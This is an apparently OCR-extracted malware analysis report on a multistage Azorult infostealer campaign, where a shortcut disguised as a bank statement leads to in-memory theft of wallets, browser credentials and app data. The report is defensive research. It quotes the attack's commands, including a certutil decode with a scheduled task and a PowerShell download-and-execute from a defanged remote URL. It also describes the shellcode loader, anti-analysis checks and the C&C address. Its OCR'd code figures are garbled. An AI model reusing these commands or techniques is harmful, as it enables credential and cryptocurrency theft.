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Key Takeaways

« Azorult malware, identified in 2016, functions as an information-stealing threat.

It is designed to gather diverse data, including browsing history, cookies, login credentials, and cryptocurrency details.

+ We have come across multiple Ink samples that are distributing Azorult, suggesting an ongoing campaign aimed at targeting
unsuspecting users.

In the latest campaign, the Azorult begins with a zip file containing a malicious shortcut file posing as a PDF document.

» The shortcut file includes an obfuscated PowerShell script and commands to drop and execute a batch file using the task scheduler.
Further stages involve downloading an additional loader from a remote server, injecting shellcode, and executing the loader.

The final step triggers another PowerShell script leading to the execution of the Azorult malware.

The entire process of downloading and running the loader, as well as the subsequent execution of the final payload, occurs within the
memory to avoid detection.

Overview

First identified in 2016, Azorult malware operates as an information-stealing threat, collecting data such as browsing history, cookies, login
credentials, and cryptocurrency details. Additionally, it can function as a downloader for other malware families. This malicious software was
offered for sale on Russian underground forums and was specifically crafted to extract a variety of sensitive information from compromised
computers.

Cyble Research & Intelligence Labs (CRIL) recently came across several shortcut files posing as PDF files on VirusTotal. While the initial
infection vector was not present at the time of identification, phishing emails are common delivery methods in similar attacks. Our attention was
piqued as the final payload turned out to be a loader that loaded Azorult into memory. Subsequently, we conducted a more in-depth analysis of
the malware.

The Azorult campaign follows a multistage infection chain initiated by a zip file containing a malicious shortcut (Ink) file disguised as a PDF
document. Within the shortcut file lies an obfuscated PowerShell script, along with commands to drop a batch file in the system and execute it
through the task scheduler. The PowerShell script then proceeds to download an additional loader from a remote server, and injects a
hardcoded shellcode which subsequently executes the loader. Ultimately, the loader file triggers another PowerShell script, leading to the
execution of the final Azorult malware. Notably, all stages of the loader and final payload execution occur in memory without leaving any traces
in the disk to evade detection.

Technical Details

The Figure below shows the infection chain of the Azorult.
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Figure 1 — Azorult Infec{i.on Chain

The figure below shows the citibank_statement_dec_2023.Ink shortcut file.

r@ citibank_statement_Dec_2023 Properties X
Colours Teminal Security Details Previous Versions
General Shortcut Options Font Layout

i‘lﬂ citibank_statement_Dec_2023

Target type: Application

Target location: System32

Target: |>\System32\cmd.exe /e echo c3RhenQg L215biB'|

Start in: “dempi |

Shortout key: | MNone |

Run: Mirimised et
Comment: | |
Open File Location Change Icon... Advanced...

Cancel Aoply

Figure 2 — Malicious Shortcut File

The execution process is initiated by the shortcut file, which triggers commands from the %temp% folder location. The command executed by
the shortcut file is as follows:

“C:\Windows\System32\cmd.exe” /c echo
¢3RhcnQgL21pbiBwb3dlcnNoZWxsIC1jb21tYW5kICJJIV11gd2h0dHBzOi8vbndndGirLm14L3dwLWNvbnRIbnQvdXBsb2Fkcy93cC1jb250ZW50LnB:
> KgZvPA3S.bat & certutil -f -decode KgZvPA3S.bat KgZvPA3S.bat & schtasks /create /f /sc minute /mo 1 /tn n5dMmJEBYc /tr

“C:\Users\MALWOR~1\AppData\Local\Temp\KgZvPA3S.bat”

The command first creates a batch script file KgZvPA3S.bat into the %temp% location with Base64 encoded string. This Base64 encoded
batch script is then decoded using certutil. The command then creates a schedule task n5dMmJEBYc which executes the newly created batch

script KgZvPA3S.bat every minute indefinitely.

The figure below shows the task schedular entry.
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Figure 3 — Task Schedular Entry to Execute Batch File

The decoded batch file KgZvPAS3S.bat contains the following command:

start /min powershell -command “IWR ‘hxxps://nrgtik[.Jmx/wp-content/uploads/wp-content.php’ -OutFile “%temp%\fqnlOQdR.js’; schtasks
/delete /f tn n5dMmJEBYc; wscript %temp%\fqnlOQdR.js”

This command further executes a PowerShell script which downloads a file hxxps:/nrgtik[.Jmx/wp-content/uploads/wp-content.php and saves it
as JavaScript file fqn/OQdR.js in the temp folder, The powershell script further deletes the previously created task schedule entry
n5dMmJEBYc and executes newly dropped fqn/OQdR.js file using wscript.

The figure below shows the contents of the fgn/OQdR js' file.

E I00dR js tl]

var fl="Scr”,f2="ing.Fi",fi="s

2 var fao = new Actlvexﬁb;;ec:tttl-in "leSy"+L3+"ject™)

3 var wl="WSc" ,Wwi= T ="

3 var wsh=wldw24". sH"4wd
var bbj=new Rcblvexdb;ect (Hs’)}
var fldr=GetObject ("wi n =] Process b Md:e!s‘iﬂdth- ? Sy
wvar rd=bbj. Expa'adEnv:romnent,Scrlnqa( E5Y TE")+" +£1dr-| 0 11

Fif (WScrips. Scnv..linm: f= "agent.js") {
l tao[ |f.55+ le"] {(WScript.S5criptFulllame, bbj.ExpandEnvironmentStrings("$programdaca%”)+"\\agenc.js");

¥

12 var mex_names="TzRIOFIQQO0R":

13 war mtx file = bbj. Expand.!nw.zo'mentsv::an!! empd )+ "\ "4mtx_name ;

16

7 De"+Esl+mle"] (mex_£ile):

18 } catch (=)} {}

1% if (VEsc["Fi"+f32+4"cs"] (mex_£ile))

20 {

21 T bbj . R.m:rd+ con 1 A\"5 = '" 4 mtx name + "'; I

| “HCCoS -/ nrocy) S -1 3 )3 :‘.'..‘F—. WF n
22 ¥

Figure 4 — Contents of the ‘fqnlOQdR.js’ File

The malicious script initially verifies the operating system architecture (32-bit or 64-bit) and then checks if the file is named ‘agent.js.’ If the file
is not named ‘agent.js,’ the script duplicates itself into the %programdata% directory with the name ‘agent.js.” Additionally, the script downloads
and executes the following two PowerShell scripts:

o hxxps://nrgtik[.]Jmx/wp-content/uploads/agent1.ps1
o hxxps://nrgtik[.]Jmx/wp-content/uploads/agent3.ps1

The purpose of the PowerShell script, ‘agent1.ps1’, remains ambiguous. However, it is presumed that the script is crafted to dynamically
identify a specific field within a type of assembly. This type of dynamic behaviour is often used by malware to hide its true intent and make
analysis more challenging.

The figure below shows the PowerShell script agent1.ps1.

[Esgenetonr |
1 $a=[Ref] .Assenbly.GecTypes () ;Foreach(§b in §a) (if (§b.Name -like "*iUcils"} {§c=§b}}:§d=§c.GecFields ("HonFublic, Stacic”):
Foreach($e in §d) {if (§e.Name -like "‘Failed”) {§f=Se}}:

Figure 5 — PowerShell Script agent1.ps1

The second PowerShell script, ‘agent3.ps1’, functions as a loader. It retrieves an executable file from a remote server, allocates memory,
injects shellcode into that allocated memory, and subsequently initiates a new thread to execute the injected code. The figure below shows
agent3.ps1 PowerShell script.
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The script initially downloads a loader executable, helper.exe, from a remote server. Subsequently, it employs the GDT (GetDelegate Type)
function to dynamically create delegate types and the GPA (GetProcAddr) function to retrieve the addresses of specific functions from the
kernel32.dll module.

Using the GPA function, the script obtains the addresses of functions such as VirtualAlloc(), Create Thread(), and WaitForSingleObject() from
kernel32.dll. It then utilizes GDT to create delegates for these functions based on the acquired addresses.

The script proceeds to allocate memory using VirtualAlloc(), copies shellcode into a global buffer for the downloaded executable, and creates a

new thread using CreateThread(), passing the allocated memory with the shellcode and the buffer containing the downloaded executable
helper.exe. Finally, it executes the helper.exe thread and waits for the thread to complete execution using WaitForSingle Object(). The script
section responsible for loading and executing the shellcode is depicted in the figure below.

Ta-Pok Tevote | P Dengin,  wbon, aton
tmarstal e, -, bu. oo Lesgn

Bunapebar = fmarshali Al
Imarstal thimsge.

Figure 7 — Routine for Loading and Executing the Shellcode

The loader executable “helper.exe” is a VC++ compiled file with an invalid Digital Signature signed by Microsoft. The below image shows the
digital certificate details of the loader file.
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Digital Signature Details ? X

General  Advanced

——. Digital Signature Information
.y This digital signature is not valid.

Signer information

Name: |Mcrosoﬂ Windows Publisher
Email: [Not available
Signing time: |25 September 2019 02:04:45
View Certificate
Countersignatures
Name of signer: Email address: Timestamp
Microsoft Time-5... Mot available 25 September 2019 ...

Details

Figure 8 — Invalid Digital Certificate

Upon execution, the helper.exe does an initial check on the language code for the current user using the GetUserDefaultLangl/D() APl and
terminates itself if any of the language code matches the codes given below.

Lang code Language and Country

419 Russian

42b Armenian

82c Azerbaijani
42c Azerbaijani (Latin)
423 Belarusian

43f Kazakh

428 Tajik

442 Turkmen

843 Uzbek (Cyrillic)
443 Uzbek (Latin)
422 Ukrainian

The presence of languages linked to countries in Eastern Europe and Central Asia in the code indicates a potential affiliation of the Threat
Actors (TAs) in this specific geographical region.

After conducting the language check, the loader proceeds to verify if it is operating within a virtual environment. This verification involves
collecting information about the display devices through the EnumDisplayDevices() API function and checking for matches with predefined
strings. If a match is found with any of the hardcoded strings, such as “Hyper-V,” “VMWare,” “VBoxService.exe,” or “VBoxTray.exe,” the loader

terminates its execution. The below image shows the function employed to verify the presence of a virtual environment.
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68 EOQLEATOO
8DBS 84F8FFFF

JB A?SS 62

MOV EDI,DWORD PTR|DS: [<&EnumDisplayDevicesw:=]

LEA EAX,DWORD PTR SSTEEEF=7TTR

JE AFBSDE

NOP WORD PTR DS5: [EAX+EAX],A
PUSH AT1EEQ

LEA EAX,DWORD PTR s5:|[EBP-77C[
INC ESI

PUSH EAX

CALL EBX

33F6 XOR ESI,ESI
C785 40FSFFFF 480300{ MOV DWORD PTR s5:[[EEP-7COJ, 348
56 PUSH ESI
50 PUSH EAX
56 PUSH ESI
56 PUSH ESI

i FFD7 CAEE EpI

MOV EEX,DWORD PTR|DS: [<&5trstriw=]
TEST EAX,EAX

eax:L"vMware SWVGA 3D"

eax:L"Wware SVGA 3D"

ATLIEED: L"Hyper-v"

eax:L"vMware SWVGA 30"

After ensuring that the loader is not running in a virtual environment, it proceeds to extract the MachineGuid from the victim’s machine,
specifically from the SOFTWARE\Microsoft\Cryptography registry. The image below shows the malware querying the registry to obtain the

MachineGuid.

Figure 9 — Anti-VM checks

BSEL IT
8B1D ZCADATOOD
56

S7

894D EC

BF 01000000

C745 F& 00000000
C745 FC 02000080
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68 2015AT00
68 02000080
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FF75 FC
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PUSH EBX

MOV EEX,DWORD PTR DS:[<&RegQueryvalueExw:)
PUSH ESI

PUSH EDI

MOV DWORD PTR S5:[EBP-14],ECX

MOV EDI,1
MOV DWORD PTR
MOV DWORD PTR 4, sooooooz2
LEA EAX,DWORD PTR ;c.[Eap r

XOR ESI,ESI

PUSH EAX

PUSH EDI

BUSH-EST

00A7A02C:"Pa,U 5,u O,u"

PUSH AT1520

PUSH 80000002

CALL DWORD PTR DS: [<&RegOpenkeyExws]
pevirrel

Er=

AT1520: L"SOFTWARE\\M1icrosof't\\Cryptography"

INE AT6FF8

LEA EAX,DWORD PTR ss:lfEsP-CJ)
PUSH EAX

PUSH ESI

LEA EAX,DWORD PTR s5:[EBP-10]
PUSH EAX

PUSH A71508
PUSH DWORD PTR 55:[JEBP-4]
ALL EBX

A71508: L"MachineGuid”

Figure 10 — loader fetches MachineGuid from the registry

The acquired GUID will be utilized for communicating with command-and-control servers (C&C).

Subsequently, the loader generates a mutex named “F3B7D5F3-30F3-BAC3-F3F3-F3F3F3F3F3F3” to prevent the execution of another

instance on the same machine. The following image shows the function call with the mutex name used by the loader.

6A 01
GA 0O

8085 EBFEFFFF
50

FF15 3CADATOO
A3 FDI3ATOOD

LEA EAX,DWORD PTR So:EBP-11E5]
PUSH EAX
PUSH 1

PUSH
IGALL oworo_pTR 0

MOV DWORD FTR DS

5F3-30F3-BA

}m.\:L' iF

eax:L" {F3B7DSF3-30F3-BACS-F3F3-F3F3F3F3F3F3)’

Following the creation of the mutex, the loader proceeds to obtain a handle for the Microsoft Enhanced RSA and AES Cryptographic Provider,

Figure 11 — Mutex Creation

facilitating cryptographic operations that involve RSA and AES algorithms as shown in the image below.
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= OF 84 EI0O0000

MOV DWORD PTR D5:[A7
EALL DwoRD P'l'll =14 (-:mnsrartups]

PTR D5: [<4CrypPrACqUireContextas)

TEST E
1E_ATR4C]

Next, the loader proceeds to establish a scheduled task named “Firefox Default Browser Agent 458046B0OAF4A39CB” utilizing the COM

Figure 12 — loader gets handled to a cryptographic service provider (CSP)

objects accessed via the previously fetched globally unique identifiers (GUIDs) from the victim’s machine.

C745% FO 05400080
FF15 20A1AT00
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64 00

68 Z010A700

€745 CO 00000000
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FF15 DOALATOO
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<o

LEA EAX,DWORD PTR
MOV DWORD PTR S5 tEBP 18
PUSH EAX

PUSH A71000

PUSH 1

PUSH O

PUSH A71020
P-40f,0
P-208 ;U

CALE DWORD PTR D5: [{acocreateInsTances]

MOV ESX,DWORD PTR Df: [<&SysAllocstring>]

TEST EAX,EAX

15 A768B9

MOVUPS XMMO, XMMWORD PTR S
v ECX,DWORD PTR 55:|fEEP

SUB ESP,10

MOV EAX, rsp

SUB ESP,

MOV EDX,DWORD PTR DS:[ECX]

MOVUPS XMMWORD PTR DS [EAX],XMMO

EBP- 64

£1

ebx: "Mz

edx:L" h"C:\\ProgramData‘’agent.js\""

Figure 13 — loader uses COM Objects
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This task involves the execution of the previously downloaded “agent.js” file located in the C:\ProgramData\ folder using “wscript.exe”. The
image below shows the function used to create the scheduled task.

All Running Tasks X
Task Name S.. R Current Action
- - - B
Firefox Default Browser Agent 458046B0AFAA39CE L.
. gy B y |
L = | ] - | LR B
£ >
End Task
Refresh Close

Figure 14 — Schedule task to run agent.js file

Subsequently, the loader generates a 20-byte random number through the CryptGenRandom() API. This generated ID, combined with the
MachineGUID, is utilized in the initial request to the C&C server to retrieve the configuration data. The image below shows the HTTP request
from the victim’s machine to the C&C server.

e g | C&C

compatinle; 3N 7. windows NT 413w
ompatible: MALE 7.3 windowd AT 4.3; wowid; T

o0 | ORACR_SURCESS]
D4 (ETATVR SR INET RANE_NGT,_ PSR )

¥|Q3XmwZ Y1 | tniM88LQeqQBFmOAydz of 4QRr hSOR6Z B7NDANAQ] Swo="

AT1ACR: | "COntant-Tuna: fenrdnn iy pyan— ntent- ina: binaryir\n" .Random
A71ACS:L"Content-Type: application ﬁket stream\r'\nContent-Encoding: binary\r Generated 1D

Figure 15 — Loader attempts to retrieve configuration data from C&C

Based on the configuration response received from the C&C, the loader may proceed with other malicious activities from the victim’s computer.

Following this, the loader generates another URL string to execute a next stage PowerShell Payload “sd2.ps7” from an additional remote
server “hxxps:/nrgtik[.Jmx/wp-content/uploads”. This entire process is carried out without leaving any file on disk. The image below shows the
initialization of the ShellExecute() function to retrieve and execute the PowerShell script from the remote server.

ELX— UUTI0UET T

Hix  o0000000
EBF  OOSSFAEQ e

etk J6d3.p81" 1"

Figure 16 — Loader executes a PowerShell Script from the remote server

PowerShell Script sd2.ps1

This new PS script downloads configuration data from a specified URL “hxxp://45[.]90.58.1/index.php”, where $guid is used as parameters in
the URL. The downloaded data is then split into an array using the pipe character (‘') as the delimiter. The below image shows the response
from the server.
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With the obtained key, the script performs an XOR (exclusive OR) operation on each byte within the encoded content found in the PowerShell

7S1BBhd65XShGxIA8xIYc4gQX 595 hitp://45.90.58. 1/index php|

key

L

Figure 17 — C&C response

script “sd2.ps1”. The below image shows the partial content of the encoded content.

[bvte[]] S$binary = 0x34,
x09, O=xal, O=x42, Ox41,
X80, =78, x49, ®x38,
x68, O=x47, OxTE, Ox39,
xE4, O=36, OxE53, OxEB,
®x53, x31, x42, x4c,
xf5, O=x5%, Oxld, Ox50,
x0k, CO=26, Cxle, OxE57,
x0a, xle, x17, x17,
®53, O0=x31, O=x42, O=x42,
%85, O=42, O=x13, Ox5d,
XE9, x4c, x79, ®x3z,
x64, Ox36, OCxad, Oxb2,
=53, O=T1l, Cx42, Ox42,
x3E8, =78, x49, ®x38,
x68, Ox47, OxTa, O0x39,
=74, O=x36, CxE53, Ox48,

xEE,
x79,
®x41,
%53,
x77,
x10,
x2e,
x00,
X685,
=79,
x41,
%53,
=48,
x7d,
®x41,
%53,

x3E,
x31,
®x78,
®47,
x3E8,
x11,
=58,
x2a,
x36,
x31,
xb4,
®x47,
x3E,
x31,
®x78,

%47,

®32,
%2k,
®17,
x03,
%42,
x49,
%58,
=53,
x42,
®x49,

x78,

=58,
x02,
%38,
x39,
xec,
%30,
x5d,
x5d,
x1ld,
%42,
x3E8,
®39,
x5a,
x42,
%38,
x29,

%53,
XEE8,
®x73,
=41,
x5a,
x07,
=59,
x24,
%53,
xEB,
x79,
®x4l,
%53,
XEE8,
xTa,
=41,

xEB,
xE4,
%53,
x38,
xas,
%03,
x21,
xle,
X685,
xEed,
x55,
%38,
xEB,
xE4,
%53,
x38,

x87
x53,
x4z,
=49,
xc,
®32,
®x2c,
x44,
®x73,
xb3,
x42,
®x48,
x78,
x53,
®xcT,
=49,

x39,
x5E8,
x4z,
%38,
x3E8,
%35,
xE2,
x32,
®x3a,
=58,
x42,
%38,
x39,
x1g,
x4z,
%38,

After completing the decoding process, the outcome represents the final payload, which is the Azorult infostealer. The script proceeds to load
the decoded assembly into the PowerShell memory using [System.Reflection.Assembly]::Load().

Azorult Payload

Figure 18 — Partial content of the byte array

The ultimate payload is a 32-bit Azorult .Net executable with the capability to execute various malicious activities within the system. Initially, the

malicious binary utilizes Curve25519 elliptic curve cryptography to perform the following actions: generate a random private key, clamp it for
security purposes, derive the corresponding public key, and compute a shared secret by utilizing a peer’s public key. This shared secret can
subsequently be employed for symmetric key encryption or other secure communication purposes. The figure below shows the code for key

generation.

After that, Azorult performs several checks through a function named checkVal(), which returns a Boolean value. If any of the checks returns

at
public

Figure 19 — Routine for Initiating Encryption

, peerPublic

TRUE, the binary terminates execution. The following are the checks conducted by the binary:

1. It verifies the presence of a mutex, and if found, it returns true.

2. It examines whether TwoLetterISOLanguageName is not null and belongs to one of the country codes: AZ, AM, BY, KZ, KG, MD, RU, TJ,

TM, UZ, and UA. If the code is null or matches one of the mentioned country codes, it returns true.
3. It checks for the existence of a file named “naponu.txt” (password.txt) on the Desktop. If the file is present, it returns true.
4. The binary queries video controllers in the system using “select Name from Win32_VideoController.” If the Name is “Wine Adapter,” it

returns true.

5. Finally, the binary checks the machine name and usernames on the victim’s system. It returns true if the machine name is not equal to
“‘WILLCARTER-PC” and “FORTI-PC” and if the username matches one of “Joe Cage,” “STRAZNJICA.GRUBUTT,” “Paul Jones,” or

“PJones.”

The figure below shows a code snippet for various checks.
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Figure 20 — AZROULT Performing Various System Checks

Following the execution of various checks, Azorult proceeds to create a unique string for identifying the victim using the putBaseCfg() method.
This method takes the buildld parameter, and the resulting string follows the format: “BASECFG |” + <MachineGuid> + ” buildld”. The buildld is
supplied as a parameter during execution, while the MachineGuid is retrieved from the registry entry “SOFTWARE\Microsoft\Cryptography.”
The routine responsible for generating this unique identifier string is illustrated in the figure below.

buildId)

+ buildId;

(by

Figure 21 — Azorult Creating Config String

After generating the string using the putBaseCfg() method, malware proceeds to gather system information through the systeminfo() method,
which also requires the buildld as a parameter. This function extracts various system details and compiles them into a string. The collected
information is then stored in a text file named “System.text.” The following data is extracted from the system:

« UUID

¢ Machine Name

* Username

« Active Directory Domain name
e CPU architecture
« GPU

« RAM

» Screen Resolution
« System Language
» System Time zone
Operating system
Anti-Virus Product
Installed programs

The figure below shows the code snippet of systeminfo() method.
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buildid)

"+ buildd + "\r\n");

domainName
Name . @)

omainName +

Figure 22 — System Information Extracted by Azorult

After retrieving system information, Azorult focuses on crypto wallets. The executable includes a method called cryptowallets(), which takes the
%appdata% location as a parameter. This method searches for important and sensitive wallet-related files in the system and collects all the
data into a directory. The table below lists the wallets targeted by the binary:

Ethereum Electrum Electrum-LTC ElectronCash Monero
Jaxx Guarda  MyMonero Wasabi atomic
BlockstreamGreen BitPay Exodus Daedalus Ledger Live
Trezor

The figure below shows the routine to extract the crypto wallet-related files.

Figure 23 — Wallets argeted by Azorult
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After targeting wallets, the malware then focuses on various browsers, attempting to extract important files from different data locations. The
malware specifically targets Mozilla Firefox, Google Chrome, Microsoft Edge, Brave, and Opera. The figure below shows the routine to target
the browser.

(stati

num +=

(static_|

Figure 24 — Browsers Targeted by Azorult

Azorult targets multiple applications including Authy, WinAuthy, Discord, FileZilla, OpenVPN, WinSCP, Steam, and Telegram. The figure below
shows a code snippet of the malware.

Figure 25 — Azorult Targeting Various Application Programs

Additionally, Azorult captures screenshot of the system. The figure below shows the routine to capture screenshot.
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Figure 26 — Azorult Routine for Capturing Screenshot

After collecting all the artifacts, Azorult sends the data to the remote server. The server URL is passed by the loader as a parameter to the
Azorult binary. The data is compressed and encrypted before sending it to the server. The figure below shows the routine to encrypt the data
and send it to the server.

url, [] pubKey, [] encKey)

s encKey);

Figure 27 — Routine to Send Encrypted Data to Server

Conclusion

Azorult is an insidious information-stealing malware, adept at extracting sensitive data and acting as a downloader for additional threats. The
new infection chain is part of a complex multistage Azorult campaign, that employs obfuscated PowerShell scripts and memory-based
execution to conceal its activities. The loader and payload files are never stored in the disk which makes it highly unlikely to get detected by
security solutions. The campaign’s sophistication, coupled with its availability on underground forums, underscores the ongoing threat it poses
to compromised systems.

Our Recommendations

« The initial infiltration for the AZORULT RAT loader typically takes place via phishing websites or emails. It is crucial to only download and
install software applications from well-known and trusted sources and avoid opening emails from unknown senders.

« Users should confirm the legitimacy of websites by verifying the presence of a secure connection (https://) and ensuring the accurate
spelling of domain names.
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» Deploy strong antivirus and anti-malware solutions to detect and remove malicious executable files.
+ Enhance the system security by creating strong, distinct passwords for each of the accounts and, whenever feasible, activate two-factor

authentication.

* Regularly back up data to guarantee the ability to recover it in case of an infection and keep users informed about the most current
phishing and social engineering methods employed by cybercriminals.

MITRE ATT&CK® Techniques

Tactic

Technique 1D

Technique Name

Execution (TA0002)

User Execution (T1203)

User opens the malicious Shortcut file

Execution (TA0002)

Command and Scripting Interpreter: Windows Command Shell
(T1059.003)

Azroult can execute itself using cmd.exe

Credential Access

Credentials from Password Stores: Credentials from web

The user opens the malicious Shortcut file

(TA0006) Browsers (T1555.003)

Credential Access Input Capture: GUI Input Capture (T1056.002) Azroult can take screenshots

(TA0006)

Discovery (TA0007) File and Directory Discovery (T1083) Azroult can discover Application files and

directories

Command and Control
(TA0011)

Non-Application Layer Protocol (T1095)

Azroult uses TCP for C&C communication

Exfiltration (TA0010)

Exfiltration Over CC&C Channel (T1041)

Indicators of Compromise (IOCs)

Exfiltration Over C&C Channel
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https://attack.mitre.org/tactics/TA0002/
https://attack.mitre.org/techniques/T1203
https://attack.mitre.org/tactics/TA0002/
https://attack.mitre.org/techniques/T1059/003/
https://attack.mitre.org/tactics/TA0006
https://attack.mitre.org/techniques/T1555/003/
https://attack.mitre.org/tactics/TA0006
https://attack.mitre.org/techniques/T1056/002/
https://attack.mitre.org/tactics/TA0007
https://attack.mitre.org/techniques/T1083/
https://attack.mitre.org/tactics/TA0011
https://attack.mitre.org/techniques/T1095/
https://attack.mitre.org/tactics/TA0010/
https://attack.mitre.org/techniques/T1041/
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735ad0b79ceaab14e465e62d8f3d4455 MD5 citibank_statement_Dec_2023.Ink
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